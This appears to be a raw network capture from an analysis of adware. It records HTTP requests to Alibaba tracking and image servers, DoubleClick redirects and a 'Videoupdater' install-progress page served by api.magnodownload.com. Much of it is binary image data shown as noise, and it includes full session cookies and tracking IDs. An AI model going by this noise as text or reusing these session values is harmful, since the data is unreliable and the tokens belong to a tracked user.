"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:2CDA8B17CFBC11E19980DC0C34
BFCD49" xmpMM:DocumentID="xmp.did:2CDA8B18CFBC11E19980DC0C34BFCD49">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2CDA8B15CFBC11E19980
DC0C34BFCD49" stRef:documentID="xmp.did:2CDA8B16CFBC11E19980DC0C34BFCD
49"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>][email protected].
b`..0.....OmY.....IEND.B`.HTTP/1.1 200 OK..Expires: Sat, 20 Jun 2015 2
1:40:37 GMT..Last-Modified: Tue, 17 Jul 2012 05:55:27 GMT..Cache-Contr
ol: max-age=172800..Server: Tengine..Accept-Ranges: bytes..SERVED-FROM
: 24.143.194.30..Content-Length: 949..Content-Type: image/png..X-Pad: 
avoid browser bug..Date: Fri, 19 Jun 2015 04:17:31 GMT..Connection: ke
ep-alive..Timing-Allow-Origin: *..Network_Info: UA_KHARKIV_34323...PNG
........IHDR.............(.4.....tEXtSoftware.Adobe ImageReadyq.e<.
.. iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
<<< skipped >>>

GET /simg/sprites/env/aisn/goto-top.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i02.i.aliimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Fri, 19 Jun 2015 13:55:30 GMT

Last-Modified: Wed, 05 Dec 2012 08:39:07 GMT

Cache-Control: max-age=172800

Timing-Allow-Origin: *

SERVED-FROM: 212.30.134.184

Server: Tengine

Accept-Ranges: bytes

Content-Length: 370

Content-Type: image/png

X-Pad: avoid browser bug

Date: Fri, 19 Jun 2015 04:17:33 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR...0...0.....`.......tEXtSoftware.Adobe ImageReadyq.e&
lt;...KPLTE...........................................................
..................XY....tRNS..........................4......IDATx....
..0....&"..8....W..L..z..6.G.....i&..8p`..\M..... [email protected]...
.(}...>4...........\.T...{}b.q.[v.D ....Unb.u.m.~w.#..........p...`
}......8..........IEND.B`.....


GET /simg/sprites/env/aisn/survey-grey.png HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: i02.i.aliimg.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Expires: Sat, 20 Jun 2015 09:28:37 GMT

Last-Modified: Tue, 08 Jan 2013 02:58:18 GMT

Cache-Control: max-age=172800

Timing-Allow-Origin: *

SERVED-FROM: 212.30.134.195

Server: Tengine

Content-Type: image/png

Content-Length: 1733

Accept-Ranges: bytes

Date: Fri, 19 Jun 2015 04:17:33 GMT

Connection: keep-alive

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
.PNG........IHDR...0...b.....!..I....tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:C90BDB4257B011E284E0888250
7217AF" xmpMM:DocumentID="xmp.did:C90BDB4357B011E284E08882507217AF">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C90BDB4057B011E284E0
8882507217AF" stRef:documentID="xmp.did:C90BDB4157B011E284E08882507217
AF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>..W-....PLTE.................................
......................................................................
......................................................................
......................................................................
7.K....QtRNS..........................................................
.......................h.......IDATx...is.0..w.ZT..h...........}.._...
^(...:........aC...b.Jf%,.pc...|9G.3..g..........S....*...I.&.....^..%
B.....#7R$...F\..&S....%%..!.M.......q. ...s.."A..vb.w...W...!c..p....
.v;.rDA........P.T..g,..G{[email protected]..#~s..1...*...._....
<<< skipped >>>

GET /__maxpower__/render_screen/2014/11/8b9c3fb4-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Fri, 19 Jun 2015 04:17:25 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 961

Connection: keep-alive
..<!--Intall Videoupdater-->..<div class="install">..    &
lt;h1>Installation Progress</h1>.    .    <p>This Downl
oad Manager will minimize to your system tray shortly to allow you to 
work on other items while your selections install. To restore this win
dow, simply click on the icon in your system tray.</p>.    .    
  <div class="install-loading">.    </div>.    <div cla
ss="progress-bar">.        <div class="_TotalProgressLevel progr
ess-level" ></div>            .    </div>....<div cl
ass="clear" style="height:10px; display:block;"></div>.     &
lt;div class="_ProgressInstallingText" style="display:none; text-align
: center; margin-left: 45px; width: 422px;"><p>Installing ...
</p></div>.    .    <div class="_ProgressText" style="d
isplay:none;  margin-left: 33px;">.        <p>Process: <sp
an class="_ProgressTextDownloaded"></span>  of <span 
class="_ProgressTextTotal"></span> (<span class="_Progress
TextPercentage"></span> %)</p>.    </div>..   .  
 .</div>.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Language
: en..Content-Type: text/html; charset=utf-8..Date: Fri, 19 Jun 2015 0
4:17:25 GMT..Server: nginx..Vary: Accept-Language..Content-Length: 961
..Connection: keep-alive....<!--Intall Videoupdater-->..<div 
class="install">..    <h1>Installation Progress</h1>.  
  .    <p>This Download Manager will minimize to your system
<<< skipped >>>

GET /ajaxMemberLevelTag.do?event=getMemberLevel&callback=jQuery183016471045402329565_1434687458109&_=1434687459625 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: profile.alibaba.com

Connection: Keep-Alive

Cookie: ali_apache_id=193.138.244.231.1434687450825.709605.4; xman_us_f=x_l=0; xman_t=w4ccGTtuO6OQ /kawIlWWXLnFtHcwbHszoit71x7  gEeTRGuE80lgsEugDg48PB; acs_usuc_t=acs_rt=74a69b6614774a3b948d426cbea9b959; acs_t=60Ki3npUBcAiPtoifZt3h1LR0ewb2 MAVuyNxxaV8e/hIeBOXZxoMHqLf7EohayQ; xman_f=DhFtF3LS77qvMuuYcNPGp f1YyPuL/Oj454cQLzKkS/3kDPnWgzbMP2rm6zWDiWRNW2BhvLobgKDp8KX9pRfKYmE2/QPBAs6HtQD6PXxHeVZAqDH46hEMA==; uns_unc_f=trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb; _ga=GA1.2.956779042.1434687459; _gat=1; ali_beacon_id=193.138.244.231.1434687452343.865261.8; cna=3IUKDkZmHT4CAcGK9Odf8bPj

HTTP/1.1 200 OK

Server: Tengine

Date: Fri, 19 Jun 2015 04:17:33 GMT

Content-Type: application/javascript;charset=utf-8

Content-Length: 83

Connection: keep-alive

P3P: CP="CAO PSA OUR"

Cache-Control: no-cache

Content-Language: en-US
jQuery183016471045402329565_1434687458109({"resultCode":1,"tagType":"m
emberLevel"})HTTP/1.1 200 OK..Server: Tengine..Date: Fri, 19 Jun 2015 
04:17:33 GMT..Content-Type: application/javascript;charset=utf-8..Cont
ent-Length: 83..Connection: keep-alive..P3P: CP="CAO PSA OUR"..Cache-C
ontrol: no-cache..Content-Language: en-US..jQuery183016471045402329565
_1434687458109({"resultCode":1,"tagType":"memberLevel"})..

GET /service/um.json?xv=2.0.3&xt=4a24c602-4ba6-4545-8c83-655868021cbe&xa=scp4p&xh=&x0=0^^1^^1^^1^^1^^1^^1^^1^^5^^1^^color^^-^^1276^^846&x1=1^^1^^1^^1^^0^^0^^1^^0^^0^^en^^-^^0^^Windows XP^^Win32&x2=Mozilla^^;SP3;^^Microsoft Internet Explorer^^3516ab67d54092e6bf44e729b77d6580^^en-us^^x86^^57f2da82064a7b7501289385afb25340^^Adobe Windows^^ActiveX^^en-us^^1def8189f7c620d61827869f51fcf447^^en-us^^WIN 11,6,602,168&x3=818^^1276^^3925^^1400^^846^^-^^http%3A%2F%2Foffer.alibaba.com%2Fexclusive.html%3Falpsm%3Dtrue%26match%3Drule%26prior%3Dmedium%26rank%3Dsolelp%26tv%3D1%26imp%3D5b1e9619o50ibman6lq%26xp%3DOk4TB0j0x^^-^^101^^-^^1434687460797^^120^^1276&xs=null&_callback=_2616_1434687460797 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: ynuf
HTTP/1.1 200 OK

Server: Tengine

Date: Fri, 19 Jun 2015 04:17:34 GMT

Content-Type: text/javascript;charset=utf-8

Content-Length: 174

Connection: keep-alive

Set-Cookie: umdata_=E15241C364CF23278882B419E57B96B93F4189A29C0FD2DDB61F13B593D3BF137091F9481B539CFB7A8DB8CF956412A239827AB34B4904CC48812F95111C91A03B0F51E1F63EF27A; Domain=.ynuf.alibaba.com; Expires=Sat, 18-Jun-2016 04:17:34 GMT; Path=/; Secure; HttpOnly

P3P: CP=IVAa PSAa

Content-Language: zh-CN
_2616_1434687460797({"id":"E15241C364CF23278882B419E57B96B93F4189A29C0
FD2DDB61F13B593D3BF137091F9481B539CFB7A8DB8CF956412A239827AB34B4904CC4
8812F95111C91A03B0F51E1F63EF27A"})HTTP/1.1 200 OK..Server: Tengine..Da
te: Fri, 19 Jun 2015 04:17:34 GMT..Content-Type: text/javascript;chars
et=utf-8..Content-Length: 174..Connection: keep-alive..Set-Cookie: umd
ata_=E15241C364CF23278882B419E57B96B93F4189A29C0FD2DDB61F13B593D3BF137
091F9481B539CFB7A8DB8CF956412A239827AB34B4904CC48812F95111C91A03B0F51E
1F63EF27A; Domain=.ynuf.alibaba.com; Expires=Sat, 18-Jun-2016 04:17:34
 GMT; Path=/; Secure; HttpOnly..P3P: CP=IVAa PSAa..Content-Language: z
h-CN.._2616_1434687460797({"id":"E15241C364CF23278882B419E57B96B93F418
9A29C0FD2DDB61F13B593D3BF137091F9481B539CFB7A8DB8CF956412A239827AB34B4
904CC48812F95111C91A03B0F51E1F63EF27A"})..

GET /js/6v/biz/common/store-proxy/store-proxy2.html?iframe_delete=true HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: is.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: text/html

Content-Length: 3168

Last-Modified: Mon, 12 Jan 2015 11:48:30 GMT

Accept-Ranges: bytes

Content-Encoding: gzip

Timing-Allow-Origin: *

SERVED-FROM: 2.16.217.230

Timing-Allow-Origin: *

Cache-Control: max-age=83627471

Expires: Sun, 11 Feb 2018 02:08:44 GMT

Date: Fri, 19 Jun 2015 04:17:33 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
...........Y...G..^K...:.v.;7.g..v..q.[.%q.....6..=.c..lzz...A.....D..
.(/...^....`.?.........!.0..]U]]....;.y...G..{.Y....K...o.p....z.y$...
........y...."RI&\.~..I(.| .*..........."&E..\.$R$.....tm....pL.d.G..)
>(2..Ty...y..4...b....kf.......?....4...ZoT....b.\..>....W<.a
..TW....... ........e(.f.~G.C.....t.nQ..i.;...%...#....C.`.{.h <.%^
.e.(\[email protected]~....<.....i...[...
(.ye..5..FH..(..9..b..OD.... !..U...0......,;,T.5.....%...RCc%...,....
.l2....&.W2S...v...V.9.e`......2<.....\).Gj...t....0.....b"f..%.<
;....:* ,#[email protected].%%..|S;.....5F.].s.
........Lz.>..3y..n...|...J:p.!F..8...JK.B..N.I....S/....xWf ......
..v...]e.ui......R..2o....6z#T../.4;.,.....d;..2...0-....t.........!~.
..tA.=2......PKX8.d...Q..hk.;Y!s.2.....p....<.......0.K............
&...m.&)[email protected]..:......7..hO.....-.rC.....[.....
q.S.........N.dz.[.....Wc.|;[email protected]...!F.J........z..P..$..)p.&
gt;LN.$....w`C.=...O.........)O..$.b.!V].!.Z..`..>....#.E .........
7ZL..Y...}....Q.M....wf.k..1.........&.Z.....N..O.{R...k..Q..m..e./..^
hl......$'\.u].O...Vyg|.t.Jj....k GxM...&.*..z |...c..6N._....9Z.. ..[
..V_#......|..q...8.^t....U.Wz............._.y.h.........i>...~....
.t..G....y,..m..p...^|g..l}...}.5B..2y..b*g..F..o...u.p...O...9....t..
...d0.......Y[..<..6.E...tB.HC(.".)....q.....JZ...H;......OK.3z....
.B.g.P.q.a\. ..W..i.K....k...U&.v._.n..J..U.#R...I2 ......;.e...;|y...
.s".4..@./.\..._*.........`";.$.."..c......>.c.G.x9#Gi6o.d.<
<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept: */*

Referer: hXXp://is.alicdn.com/js/6v/biz/common/store-proxy/store-proxy2.html?iframe_delete=true

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: is.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Last-Modified: Tue, 06 Nov 2012 09:39:36 GMT

Server: Tengine

Content-Type: image/x-icon

Content-Length: 443

Accept-Ranges: bytes

Content-Encoding: gzip

Timing-Allow-Origin: *

SERVED-FROM: 80.239.222.164

Cache-Control: max-age=97536

Expires: Sat, 20 Jun 2015 07:23:09 GMT

Date: Fri, 19 Jun 2015 04:17:33 GMT

Connection: keep-alive

Vary: Accept-Encoding

Timing-Allow-Origin: *

Network_Info: UA_KHARKIV_34323
[email protected]).u.5s..T......i..YQ..8.@ ....$..$.Q.@T"*
......./I..4....d.o.~...5......u`...$.....kx.jmY.._..c....:..E.<.!U
...|r..w....fO....u.}[email protected]...=1..7.....$.w......0..
.....>.?.:.........C........A..."C#c.}KJ`4..:.....8.P!}...C../...}t
<do!.. =.`...MoQ..9.N.M....>.Q.\..;.~$.Rz..n6....!q..h6..@;....$
....Q..~....hc.............)@T....=.8..X...._. .V.~.Vq."h..m~ c!...dOz
.i..N.$;?.z..S.D..0%I.f.../..C.~...HTTP/1.1 200 OK..Last-Modified: Tue
, 06 Nov 2012 09:39:36 GMT..Server: Tengine..Content-Type: image/x-ico
n..Content-Length: 443..Accept-Ranges: bytes..Content-Encoding: gzip..
Timing-Allow-Origin: *..SERVED-FROM: 80.239.222.164..Cache-Control: ma
x-age=97536..Expires: Sat, 20 Jun 2015 07:23:09 GMT..Date: Fri, 19 Jun
 2015 04:17:33 GMT..Connection: keep-alive..Vary: Accept-Encoding..Tim
ing-Allow-Origin: *..Network_Info: UA_KHARKIV_34323...............S.@.
........Ia.s).u.5s..T......i..YQ..8.@ ....$..$.Q.@T"*......./I..4....d
.o.~...5......u`...$.....kx.jmY.._..c....:..E.<.!U...|r..w....fO...
.u.}[email protected]...=1..7.....$.w......0.......>.?.:....
.....C........A..."C#c.}KJ`4..:.....8.P!}...C../...}t<do!.. =.`...M
oQ..9.N.M....>.Q.\..;.~$.Rz..n6....!q..h6..@;....$....Q..~....hc...
..........)@T....=.8..X...._. .V.~.Vq."h..m~ c!...dOz.i..N.$;?.z..S.D.
.0%I.f.../..C.~.....
<<< skipped >>>

GET /pixel?google_nid=alibaba_dmp&google_cm&loop=1 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cm.g.doubleclick.net

Connection: Keep-Alive

HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Location: hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm=&loop=1&google_tc=

Date: Fri, 19 Jun 2015 04:17:34 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Content-Type: text/html; charset=UTF-8

Server: HTTP server (unknown)

Content-Length: 294

X-XSS-Protection: 1; mode=block

Set-Cookie: test_cookie=CheckForPermission; expires=Fri, 19-Jun-2015 04:32:34 GMT; path=/; domain=.doubleclick.net

Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://cm.g.doubleclick.net/pixel?google_nid=alibaba_dm
p&google_cm=&loop=1&google_tc=">here</A>...</B
ODY></HTML>......


GET /pixel?google_nid=alibaba_dmp&google_cm=&loop=1&google_tc= HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cm.g.doubleclick.net

Connection: Keep-Alive

Cookie: test_cookie=CheckForPermission

HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Location: hXXp://cmap.alibaba.com/landing.gif?google_gid=CAESEJc9Iy-qQ6-cMtIeJ5_lwEk&google_cver=1&loop=1

Date: Fri, 19 Jun 2015 04:17:34 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Content-Type: text/html; charset=UTF-8

Server: HTTP server (unknown)

Content-Length: 300

X-XSS-Protection: 1; mode=block

Set-Cookie: id=22d243990f020035||t=1434687454|et=730|cs=002213fd48189258d69480cd8d; expires=Sun, 18-Jun-2017 04:17:34 GMT; path=/; domain=.doubleclick.net

Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21 Jul 2008 23:59:00 GMT

Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://cmap.alibaba.com/landing.gif?google_gid=CAESEJc9
Iy-qQ6-cMtIeJ5_lwEk&google_cver=1&loop=1">here</A>...
</BODY></HTML>..HTTP/1.1 302 Found..P3P: policyref="http:/
/googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa 
TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR
"..Location: hXXp://cmap.alibaba.com/landing.gif?google_gid=CAESEJc9Iy
-qQ6-cMtIeJ5_lwEk&google_cver=1&loop=1..Date: Fri, 19 Jun 2015 04:17:3
4 GMT..Pragma: no-cache..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache
-Control: no-cache, must-revalidate..Content-Type: text/html; charset=
UTF-8..Server: HTTP server (unknown)..Content-Length: 300..X-XSS-Prote
ction: 1; mode=block..Set-Cookie: id=22d243990f020035||t=1434687454|et
=730|cs=002213fd48189258d69480cd8d; expires=Sun, 18-Jun-2017 04:17:34 
GMT; path=/; domain=.doubleclick.net..Set-Cookie: test_cookie=; domain
=.doubleclick.net; path=/; Max-Age=0; expires=Mon, 21 Jul 2008 23:59:0
0 GMT..Alternate-Protocol: 80:quic,p=1..<HTML><HEAD><me
ta http-equiv="content-type" content="text/html;charset=utf-8">.<
;TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>3
02 Moved</H1>.The document has moved.<A HREF="hXXp://cmap.ali
baba.com/landing.gif?google_gid=CAESEJc9Iy-qQ6-cMtIeJ5_lwEk&go
<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.magnodownload.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/css

Date: Fri, 19 Jun 2015 04:17:24 GMT

ETag: "54f6e242-4a5a"

Last-Modified: Wed, 04 Mar 2015 10:45:22 GMT

Server: nginx

Content-Length: 19034

Connection: keep-alive
/* Template Template Videoupdater */...article,aside,details,figcaptio
n,figure,.footer,header,hgroup,menu,nav,section {..display:block;.}.p,
 h5, h4, h3, h2, h1, span, ul, li, form, input, textarea {..margin:0;.
.padding:0;.}.body {..margin:0 auto;..background-color:#323333;..width
: 555px;..height: 458px;..color:#b5b5b5;..font-family:Arial, Helvetica
, sans-serif;..scrollbar-face-color: #666666;..scrollbar-highlight-col
or: #999999;..scrollbar-3dlight-color: #333333;..scrollbar-shadow-colo
r: #333333;..scrollbar-darkshadow-color: #333333;..scrollbar-arrow-col
or: #CCCCCC;..scrollbar-track-color: #333333;.}...videupdater a, .vide
updater span {..color:#b5b5b5;.}...clear {..clear:both;..height:0px;..
overflow:inherit;..display: none;.}..li {..list-style: none;.}./******
***************//*********************//*********************//*******
**************//********./* estilo para poner los botones del box.html
 todos en display none */.._Bnext, .._Bexit, .._Bdecline, .._Bomit {..
/*display:none;*/.}./*************************************************
*/..container {..float:left;..width:555px;..height: 458px;..background
-color:#323333;..margin: 0 auto;.}../*****************Template Win_Lin
k*****************/......minimize {..float: right;..width: 45px;..posi
tion: relative;..margin-right: -45px;..right: 45px;..margin-top: 12px;
..z-index: 9999;.}....minimize ul li {..display: inline;..float: left;
.}...minimize li {....float: left;..}  ....minimize .button-min {..col
or: #636363;..text-decoration: none;..border: none;..font-size: 17
<<< skipped >>>

GET /sc/fpc.html?cna=3IUKDkZmHT4CAcGK9Odf8bPj&pageid=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ali_beacon_id=193.138.244.231.1434687452343.865261.8 HTTP/1.1

Accept: */*

Referer: hXXp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: stat.alibaba.com

Connection: Keep-Alive

